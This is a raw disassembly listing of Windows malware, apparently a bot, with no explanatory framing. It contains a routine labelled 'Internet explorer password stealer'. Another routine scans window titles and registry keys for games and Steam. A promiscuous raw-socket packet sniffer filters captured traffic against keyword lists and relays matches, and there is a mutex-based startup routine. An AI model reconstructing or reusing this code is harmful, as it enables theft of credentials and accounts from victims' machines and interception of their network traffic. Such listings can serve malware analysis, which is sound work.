loc_40FB52:				; CODE XREF: sub_40F54D+5A8j
					; sub_40F54D+5BFj
		mov	edi, ds:dword_411104
		lea	eax, [ebp-358h]
		push	offset byte_417B60
		push	eax
		call	edi	; lstrcpy
		mov	esi, offset dword_4171EC
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FBA9
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	edi	; lstrcpy
		lea	eax, [ebp-5BCh]
		push	esi
		push	eax
		call	sub_410898	; strstr
		pop	ecx
		mov	[eax], bl
		pop	ecx


loc_40FBA9:				; CODE XREF: sub_40F54D+62Fj
		inc	dword ptr [ebp-10h]
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		lea	eax, [ebp-358h]
		push	eax
		lea	eax, [ebp-5BCh]
		push	eax
		lea	eax, [ebp-7BCh]
		push	eax
		lea	eax, [ebp-28Ch]
		push	dword ptr [ebp-10h]
		push	offset dword_4170D8
		push	eax
		call	sub_408D50
		add	esp, 18h


loc_40FBE3:				; CODE XREF: sub_40F54D+533j
					; sub_40F54D+54Ej ...
		mov	esi, 200h
		lea	eax, [ebp-7BCh]
		push	esi
		push	ebx
		push	eax
		call	sub_410850	; memset
		push	esi
		lea	eax, [ebp-5BCh]
		push	ebx
		push	eax
		call	sub_410850	; memset
		add	esp, 18h
		jmp	loc_40F711
; ---------------------------------------------------------------------------


loc_40FC0C:				; CODE XREF: sub_40F54D+1E5j
		mov	eax, [ebp-28h]
		mov	byte ptr [ebp-4], 2
		cmp	eax, ebx
		jz	loc_40F6AD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_40F6AD
; ---------------------------------------------------------------------------


loc_40FC26:				; CODE XREF: sub_40F54D+181j
		mov	eax, [ebp-24h]
		mov	byte ptr [ebp-4], 1
		cmp	eax, ebx
		jz	loc_40F61D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_40F61D
; ---------------------------------------------------------------------------


loc_40FC40:				; CODE XREF: sub_40F54D+F1j
					; sub_40F54D+100j
		mov	al, [ebp+0Bh]
		push	3E8h
		mov	[ebp-0F4h], al
		call	ds:dword_4110A4	; Sleep
		push	dword ptr [ebp-10h]
		mov	eax, [ebp-290h]
		push	dword ptr [eax]
		lea	eax, [ebp-28Ch]
		push	offset unk_41709C
		push	eax
		call	sub_408D50
		push	dword ptr [ebp-290h]
		call	sub_406753
		add	esp, 14h


loc_40FC7E:				; CODE XREF: sub_40F54D+9Dj
		mov	eax, [ebp-1Ch]
		mov	[ebp-4], bl
		cmp	eax, ebx
		jz	short loc_40FC8E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40FC8E:				; CODE XREF: sub_40F54D+57j
					; sub_40F54D+739j
		mov	eax, [ebp-14h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, ebx
		jz	short loc_40FC9F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40FC9F:				; CODE XREF: sub_40F54D+74Aj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40F54D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FCB2	proc near		; CODE XREF: sub_40735A+6Cp

arg_0		= dword	ptr  4

		cmp	dword_417BB0, 0
		push	esi
		jz	short loc_40FCF1
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40FCF1
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aInternetExplor ; "Internet explorer password stealer"
		push	0
		push	esi
		push	offset sub_40F54D
		call	sub_40663C
		add	esp, 10h


loc_40FCF1:				; CODE XREF: sub_40FCB2+8j
					; sub_40FCB2+19j
		pop	esi
		retn
sub_40FCB2	endp

; ---------------------------------------------------------------------------


loc_40FCF3:				; CODE XREF: seg000:00410CD3j
					; seg000:00410CDBj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_40FCFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_40FCFF:				; CODE XREF: seg000:0040FCF7j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FD00	proc near		; DATA XREF: sub_40FEA2+29o

var_5BC		= byte ptr -5BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5BCh
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		xor	esi, esi
		add	esp, 10h
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_0], esi
		xor	ebx, ebx


loc_40FD3E:				; CODE XREF: sub_40FD00+ACj
		lea	eax, [ebp+var_5BC]
		push	400h
		push	eax
		push	ebx
		call	ds:dword_4111F0	; GetWindowTextA
		push	7
		lea	eax, [ebp+var_5BC]
		push	offset aUnreal3	; "Unreal3"
		push	eax
		call	sub_410CA0	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		push	1
		pop	edi
		jnz	short loc_40FD71
		mov	[ebp+var_C], edi


loc_40FD71:				; CODE XREF: sub_40FD00+6Cj
		lea	eax, [ebp+var_5BC]
		push	offset aWorldOfWarcraf ; "World	Of Warcraft"
		push	eax
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FD8B
		mov	[ebp+var_14], edi


loc_40FD8B:				; CODE XREF: sub_40FD00+86j
		lea	eax, [ebp+var_5BC]
		push	offset aConquer	; "[Conquer]"
		push	eax
		call	sub_410AEE	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FDA5
		mov	[ebp+arg_0], edi


loc_40FDA5:				; CODE XREF: sub_40FD00+A0j
		inc	ebx
		cmp	ebx, 0FFFFh
		jb	short loc_40FD3E
		mov	edi, ds:dword_411000
		lea	eax, [ebp+var_4]
		mov	ebx, 20019h
		push	eax
		push	ebx
		push	esi
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"...
		push	80000002h
		mov	[ebp+var_4], esi
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40FDD9
		mov	[ebp+var_8], 1


loc_40FDD9:				; CODE XREF: sub_40FD00+D0j
		push	[ebp+var_4]
		mov	esi, ds:dword_411028
		call	esi	; RegCloseKey
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0
		push	offset aSoftwareValveS ; "Software\\Valve\\Steam"
		push	80000001h
		call	edi	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40FE06
		mov	[ebp+var_10], 1


loc_40FE06:				; CODE XREF: sub_40FD00+FDj
		push	[ebp+var_4]
		call	esi	; RegCloseKey
		cmp	[ebp+var_20], 0
		mov	eax, offset aNo	; "No"
		mov	ecx, offset aYes ; "Yes"
		jz	short loc_40FE44
		xor	edx, edx
		cmp	[ebp+var_C], edx
		jnz	short loc_40FE46
		cmp	[ebp+var_8], edx
		jnz	short loc_40FE46
		cmp	[ebp+var_10], edx
		jnz	short loc_40FE46
		cmp	[ebp+var_14], edx
		jnz	short loc_40FE46
		cmp	[ebp+arg_0], edx
		jnz	short loc_40FE4B
		push	[ebp+var_1BC]
		call	sub_406753
		pop	ecx
		jmp	short loc_40FE99
; ---------------------------------------------------------------------------


loc_40FE44:				; CODE XREF: sub_40FD00+119j
		xor	edx, edx


loc_40FE46:				; CODE XREF: sub_40FD00+120j
					; sub_40FD00+125j ...
		cmp	[ebp+arg_0], edx
		jz	short loc_40FE4F


loc_40FE4B:				; CODE XREF: sub_40FD00+134j
		mov	ebx, ecx
		jmp	short loc_40FE51
; ---------------------------------------------------------------------------


loc_40FE4F:				; CODE XREF: sub_40FD00+149j
		mov	ebx, eax


loc_40FE51:				; CODE XREF: sub_40FD00+14Dj
		cmp	[ebp+var_14], edx
		mov	edi, ecx
		jnz	short loc_40FE5A
		mov	edi, eax


loc_40FE5A:				; CODE XREF: sub_40FD00+156j
		cmp	[ebp+var_10], edx
		mov	esi, ecx
		jnz	short loc_40FE63
		mov	esi, eax


loc_40FE63:				; CODE XREF: sub_40FD00+15Fj
		cmp	[ebp+var_8], 0
		mov	edx, ecx
		jnz	short loc_40FE6D
		mov	edx, eax


loc_40FE6D:				; CODE XREF: sub_40FD00+169j
		cmp	[ebp+var_C], 0
		jz	short loc_40FE75
		mov	eax, ecx


loc_40FE75:				; CODE XREF: sub_40FD00+171j
		push	ebx
		push	edi
		push	esi
		push	edx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	offset dword_41731C
		push	eax
		call	sub_408D50
		push	[ebp+var_1BC]
		call	sub_406753
		add	esp, 20h


loc_40FE99:				; CODE XREF: sub_40FD00+142j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40FD00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FEA2	proc near		; CODE XREF: sub_40735A+925p

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40FED8
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_403E60
		pop	ecx
		pop	ecx
		push	offset aListingInteres ; "Listing interesting processes"
		push	0
		push	esi
		push	offset sub_40FD00
		call	sub_40663C
		add	esp, 10h


loc_40FED8:				; CODE XREF: sub_40FEA2+10j
		pop	esi
		retn
sub_40FEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FEDA	proc near		; CODE XREF: sub_40FF2A+32p
					; sub_40FF2A+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		cmp	dword ptr [eax], 0
		jz	short loc_40FF20
		mov	esi, eax


loc_40FEE8:				; CODE XREF: sub_40FEDA+44j
		push	dword ptr [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4052F1
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FF16
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40FF25
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4052F1
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FF25


loc_40FF16:				; CODE XREF: sub_40FEDA+20j
		add	esi, 8
		mov	eax, esi
		cmp	dword ptr [esi], 0
		jnz	short loc_40FEE8


loc_40FF20:				; CODE XREF: sub_40FEDA+Aj
		xor	eax, eax


loc_40FF22:				; CODE XREF: sub_40FEDA+4Ej
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40FF25:				; CODE XREF: sub_40FEDA+27j
					; sub_40FEDA+3Aj
		push	1
		pop	eax
		jmp	short loc_40FF22
sub_40FEDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF2A	proc near		; CODE XREF: sub_40FFBC+29Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		jz	short loc_40FF4D
		push	[ebp+arg_C]
		push	esi
		push	edi
		call	sub_4052F1
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FFB0


loc_40FF4D:				; CODE XREF: sub_40FF2A+10j
		mov	ebx, [ebp+arg_8]
		cmp	ebx, 1
		jb	short loc_40FF68
		push	esi
		push	edi
		push	offset off_41744C
		call	sub_40FEDA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FFB0


loc_40FF68:				; CODE XREF: sub_40FF2A+29j
		cmp	ebx, 2
		jb	short loc_40FF80
		push	esi
		push	edi
		push	offset off_4174A8
		call	sub_40FEDA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FFB0


loc_40FF80:				; CODE XREF: sub_40FF2A+41j
		cmp	ebx, 3
		jb	short loc_40FF98
		push	esi
		push	edi
		push	offset off_41751C
		call	sub_40FEDA
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40FFB0


loc_40FF98:				; CODE XREF: sub_40FF2A+59j
		cmp	ebx, 4
		jb	short loc_40FFB5
		push	esi
		push	edi
		push	offset off_417560
		call	sub_40FEDA
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40FFB5


loc_40FFB0:				; CODE XREF: sub_40FF2A+21j
					; sub_40FF2A+3Cj ...
		push	1
		pop	eax
		jmp	short loc_40FFB7
; ---------------------------------------------------------------------------


loc_40FFB5:				; CODE XREF: sub_40FF2A+71j
					; sub_40FF2A+84j
		xor	eax, eax


loc_40FFB7:				; CODE XREF: sub_40FF2A+89j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40FF2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFBC	proc near		; DATA XREF: sub_41041B+76o

var_199C	= byte ptr -199Ch
var_1993	= byte ptr -1993h
var_1990	= dword	ptr -1990h
var_198C	= dword	ptr -198Ch
var_970		= byte ptr -970h
var_870		= byte ptr -870h
var_770		= byte ptr -770h
var_670		= byte ptr -670h
var_4F0		= byte ptr -4F0h
var_4EF		= byte ptr -4EFh
var_3F0		= dword	ptr -3F0h
var_3EC		= dword	ptr -3ECh
var_3E8		= byte ptr -3E8h
var_1E8		= byte ptr -1E8h
var_5A		= byte ptr -5Ah
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_44		= byte ptr -44h
var_40		= word ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 199Ch
		call	sub_4108B0
		push	ebx
		push	esi
		push	edi
		push	3ABh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3F0]
		push	eax
		call	sub_410838	; memcpy
		push	[ebp+arg_0]
		call	sub_410832	; free
		mov	al, [ebp+var_3E8]
		add	esp, 10h
		neg	al
		sbb	eax, eax
		xor	ebx, ebx
		lea	ecx, [ebp+var_3E8]
		push	ebx
		and	eax, ecx
		push	3
		push	2
		mov	[ebp+var_24], eax
		call	ds:dword_41122C	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jz	loc_410406
		lea	eax, [ebp+var_970]
		push	0FFh
		push	eax
		call	ds:dword_411270	; gethostname
		lea	eax, [ebp+var_970]
		push	eax
		call	ds:dword_41124C	; gethostbyname
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4103FF
		push	10h
		lea	eax, [ebp+var_40]
		push	ebx
		push	eax
		call	sub_410850	; memset
		mov	[ebp+var_40], 2
		mov	eax, [edi+0Ch]
		add	esp, 0Ch


loc_41005C:				; DATA XREF: .data:off_414814o
		mov	eax, [eax]
		push	10h
		mov	eax, [eax]
		mov	[ebp+var_3C], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	ds:dword_41121C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_4103FF
		push	ebx
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	98000001h
		push	esi
		mov	[ebp+var_28], 1
		call	ds:dword_41126C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jz	loc_4103FF
		push	[ebp+var_3EC]
		mov	eax, [ebp+var_3F0]
		push	dword ptr [eax]
		lea	eax, [ebp+var_1E8]
		push	offset unk_41772C
		push	eax
		call	sub_408D50
		add	esp, 10h
		xor	eax, eax
		lea	edi, [ebp+var_4EF]
		mov	[ebp+var_4F0], bl
		push	3Fh
		mov	[ebp+var_14], bl
		pop	ecx
		mov	[ebp+var_50], bl
		rep stosd
		stosw
		stosb
		xor	eax, eax
		lea	edi, [ebp+var_13]
		stosd
		stosb
		lea	eax, [ebp+var_4F0]
		push	eax
		call	sub_40882C
		push	eax
		call	sub_403495
		pop	ecx
		lea	eax, [ebp+var_14]
		pop	ecx
		push	eax
		call	sub_40882C
		push	eax
		call	sub_403536
		pop	ecx
		lea	eax, [ebp+var_4F0]
		pop	ecx
		push	eax
		call	ds:dword_411254	; inet_addr
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41088C	; atoi
		mov	[ebp+var_30], eax
		xor	eax, eax
		lea	edi, [ebp+var_1B]
		mov	[ebp+var_1C], bl
		stosd
		stosb
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_40882C
		push	eax
		call	sub_4034E7
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41088C	; atoi
		add	esp, 0Ch
		mov	[ebp+var_2C], eax


loc_410158:				; CODE XREF: sub_40FFBC+1F3j
					; sub_40FFBC+43Bj
		push	ebx
		lea	eax, [ebp+var_199C]
		push	1028h
		push	eax
		push	esi
		call	ds:dword_411258	; recv
		mov	ecx, [ebp+var_3F0]
		cmp	[ecx+4], ebx
		jnz	loc_4103FF
		cmp	eax, 0FFFFFFFFh
		jz	loc_4103FF
		cmp	eax, ebx
		jz	loc_4103FF
		mov	[ebp+eax+var_199C], bl
		mov	cl, [ebp+var_199C]
		and	ecx, 0Fh
		lea	edx, [ebp+var_199C]
		lea	edi, [ebp+ecx*4+var_199C]
		mov	ecx, edi
		sub	ecx, edx
		cmp	ecx, eax
		jnb	short loc_410158
		movzx	ecx, byte ptr [edi+0Ch]
		shr	ecx, 4
		lea	edx, [ebp+var_199C]
		lea	esi, [edi+ecx*4]
		mov	ecx, esi
		sub	ecx, edx
		cmp	ecx, eax
		jnb	loc_4103F4
		push	esi
		call	sub_410826	; strlen
		cmp	[ebp+var_1993],	6
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	loc_4103F4
		cmp	[ebp+var_5A], bl
		jz	short loc_4101F8
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_198C],	eax
		jnz	loc_4103F4


loc_4101F8:				; CODE XREF: sub_40FFBC+22Bj
		cmp	[ebp+var_54], bl
		jz	short loc_41020C
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_1990],	eax
		jnz	loc_4103F4


loc_41020C:				; CODE XREF: sub_40FFBC+23Fj
		mov	ax, [edi]
		push	eax
		call	ds:dword_411248	; htons
		cmp	ax, word ptr [ebp+var_2C]
		jnz	short loc_41022B
		mov	eax, [ebp+var_8]
		cmp	[ebp+var_1990],	eax
		jz	loc_4103F4


loc_41022B:				; CODE XREF: sub_40FFBC+25Ej
		mov	ax, [edi]
		push	eax
		call	ds:dword_411248	; htons
		cmp	ax, word ptr [ebp+var_30]
		jnz	short loc_41024A
		mov	eax, [ebp+var_20]
		cmp	[ebp+var_1990],	eax
		jz	loc_4103F4


loc_41024A:				; CODE XREF: sub_40FFBC+27Dj
		push	[ebp+var_24]
		push	[ebp+var_3EC]
		push	[ebp+arg_0]
		push	esi
		call	sub_40FF2A
		add	esp, 10h
		test	eax, eax
		jz	loc_4103F4
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		jbe	short loc_41028F


loc_41026E:				; CODE XREF: sub_40FFBC+2D1j
		cmp	byte ptr [ecx+esi], 0Dh
		lea	eax, [ecx+esi]
		jnz	short loc_41027A
		mov	byte ptr [eax],	2Dh


loc_41027A:				; CODE XREF: sub_40FFBC+2B9j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_410282
		mov	byte ptr [eax],	3Eh


loc_410282:				; CODE XREF: sub_40FFBC+2C1j
		cmp	[eax], bl
		jnz	short loc_410289
		mov	byte ptr [eax],	2Eh


loc_410289:				; CODE XREF: sub_40FFBC+2C8j
		inc	ecx
		cmp	ecx, [ebp+arg_0]
		jb	short loc_41026E


loc_41028F:				; CODE XREF: sub_40FFBC+2B0j
		xor	eax, eax
		xor	ecx, ecx
		cmp	[esi], bl
		mov	[ebp+arg_0], ecx
		jz	short loc_4102B4


loc_41029A:				; CODE XREF: sub_40FFBC+2F3j
		mov	dl, [eax+esi]
		cmp	dl, 7Fh
		jge	short loc_4102AB
		cmp	dl, 1Fh
		jle	short loc_4102AB
		mov	[ecx+esi], dl
		inc	ecx


loc_4102AB:				; CODE XREF: sub_40FFBC+2E4j
					; sub_40FFBC+2E9j
		inc	eax
		cmp	[eax+esi], bl
		jnz	short loc_41029A
		mov	[ebp+arg_0], ecx


loc_4102B4:				; CODE XREF: sub_40FFBC+2DCj
		mov	al, [eax+esi]
		cmp	ecx, ebx
		mov	[ecx+esi], al
		jz	loc_4103F4
		push	100h
		push	[ebp+var_1990]
		call	ds:dword_411230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		call	sub_4052A6
		add	esp, 0Ch
		push	100h
		push	[ebp+var_198C]
		call	ds:dword_411230	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		call	sub_4052A6
		mov	ax, [edi+2]
		add	esp, 0Ch
		push	eax
		call	ds:dword_411248	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_770]
		push	eax
		mov	ax, [edi]
		push	eax
		call	ds:dword_411248	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_870]
		push	eax
		lea	eax, [ebp+var_670]
		push	offset dword_4176F8
		push	eax
		call	sub_410844	; sprintf
		mov	edi, eax
		mov	eax, 180h
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_670]
		push	esi
		push	eax
		call	sub_4052A6
		add	esp, 24h
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_412B30
		push	eax
		call	sub_408D50
		add	esp, 0Ch
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		mov	eax, [ebp+var_3F0]
		cmp	[eax+4], ebx
		jnz	short loc_4103FC
		mov	eax, 17Fh
		sub	eax, edi
		mov	edi, [ebp+arg_0]
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jnb	short loc_4103F4
		add	esi, eax


loc_41039F:				; CODE XREF: sub_40FFBC+436j
		push	180h
		lea	eax, [ebp+var_670]
		push	esi
		push	eax
		call	sub_4052A6
		add	esp, 0Ch
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_412B30
		push	eax
		call	sub_408D50
		add	esp, 0Ch
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		mov	eax, [ebp+var_3F0]
		cmp	[eax+4], ebx
		jnz	short loc_4103FC
		mov	eax, 17Fh
		add	[ebp+var_4], eax
		add	esi, eax
		cmp	[ebp+var_4], edi
		jb	short loc_41039F


loc_4103F4:				; CODE XREF: sub_40FFBC+20Bj
					; sub_40FFBC+222j ...
		mov	esi, [ebp+var_C]
		jmp	loc_410158
; ---------------------------------------------------------------------------


loc_4103FC:				; CODE XREF: sub_40FFBC+3CEj
					; sub_40FFBC+427j
		mov	esi, [ebp+var_C]


loc_4103FF:				; CODE XREF: sub_40FFBC+82j
					; sub_40FFBC+B7j ...
		push	esi
		call	ds:dword_411240	; closesocket


loc_410406:				; CODE XREF: sub_40FFBC+59j
		push	[ebp+var_3F0]
		call	sub_406753
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_40FFBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41041B	proc near		; CODE XREF: sub_40735A+3E4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	3ABh
		call	sub_41082C	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_41049F
		cmp	[esp+4+arg_4], 0
		jz	short loc_410440
		push	[esp+4+arg_4]
		call	sub_41088C	; atoi
		pop	ecx
		jmp	short loc_410443
; ---------------------------------------------------------------------------


loc_410440:				; CODE XREF: sub_41041B+17j
		push	3
		pop	eax


loc_410443:				; CODE XREF: sub_41041B+23j
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_8]
		test	eax, eax
		jnz	short loc_410453
		mov	eax, offset byte_417B60


loc_410453:				; CODE XREF: sub_41041B+31j
		push	edi
		push	200h
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_4052A6
		mov	edi, [esp+14h+arg_0]
		push	1A3h
		lea	eax, [esi+208h]
		push	edi
		push	eax
		call	sub_410838	; memcpy
		xor	eax, eax
		add	esp, 18h
		cmp	[edi+18Bh], al
		push	dword ptr [esi+4]
		setz	al
		push	offset dword_417760
		push	eax
		push	esi
		push	offset sub_40FFBC
		call	sub_40663C
		add	esp, 14h
		pop	edi


loc_41049F:				; CODE XREF: sub_41041B+10j
		pop	esi
		retn
sub_41041B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4104A1	proc near		; CODE XREF: sub_410521+4p

arg_0		= dword	ptr  4

		push	offset aRb	; "rb"
		push	[esp+4+arg_0]
		call	sub_41086E	; fopen
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4104C0
		push	eax
		call	sub_410868	; fclose
		pop	ecx
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4104C0:				; CODE XREF: sub_4104A1+12j
		xor	eax, eax
		retn
sub_4104A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4104C3	proc near		; CODE XREF: sub_40735A+504p

arg_0		= dword	ptr  4

		push	esi
		push	offset aRb	; "rb"
		push	[esp+8+arg_0]
		call	sub_41086E	; fopen
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41050C
		push	edi
		push	2
		push	0
		push	esi
		call	sub_410886	; fseek
		push	esi
		call	sub_41085C	; ftell
		push	0
		push	0
		push	esi
		mov	edi, eax
		call	sub_410886	; fseek
		push	esi
		call	sub_410868	; fclose
		mov	eax, edi
		add	esp, 20h
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41050C:				; CODE XREF: sub_4104C3+15j
		xor	eax, eax
		pop	esi
		retn
sub_4104C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_410510	proc near		; CODE XREF: sub_410521+12p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_4110B8	; DeleteFileA
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_410510	endp


; =============== S U B	R O U T	I N E =======================================



sub_410521	proc near		; CODE XREF: sub_402018+11Fp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4104A1
		test	eax, eax
		pop	ecx
		jz	short loc_41053F
		push	[esp+arg_0]
		call	sub_410510
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41053F:				; CODE XREF: sub_410521+Cj
		xor	eax, eax
		retn
sub_410521	endp


; =============== S U B	R O U T	I N E =======================================



sub_410542	proc near		; CODE XREF: sub_40735A+347p

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	dword ptr [eax]
		call	sub_409CCF
		pop	ecx
		retn
sub_410542	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4112A8
		push	offset sub_410ACA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_4108B0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	2
		call	ds:dword_4110FC	; SetErrorMode
		xor	edi, edi
		mov	[ebp-4], edi
		push	dword_4177A4
		push	dword_4177A0
		push	398h
		push	dword_41779C
		push	edi
		push	dword_417798
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp-115Ch]
		push	eax
		call	sub_410844	; sprintf
		add	esp, 20h
		mov	[ebp-1128h], edi


loc_4105C3:				; CODE XREF: seg000:004107D6j
		cmp	dword ptr [ebp-1128h], 0Ah
		jnz	short loc_4105D1
		call	sub_404BC3


loc_4105D1:				; CODE XREF: seg000:004105CAj
		push	3E8h
		call	ds:dword_4110A4	; Sleep
		lea	eax, [ebp-115Ch]
		push	eax
		push	edi
		push	edi
		call	ds:dword_411100	; CreateMutexA
		mov	[ebp-12F0h], eax
		cmp	eax, edi
		jz	loc_4107D0
		call	ds:dword_41106C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	loc_4107D0
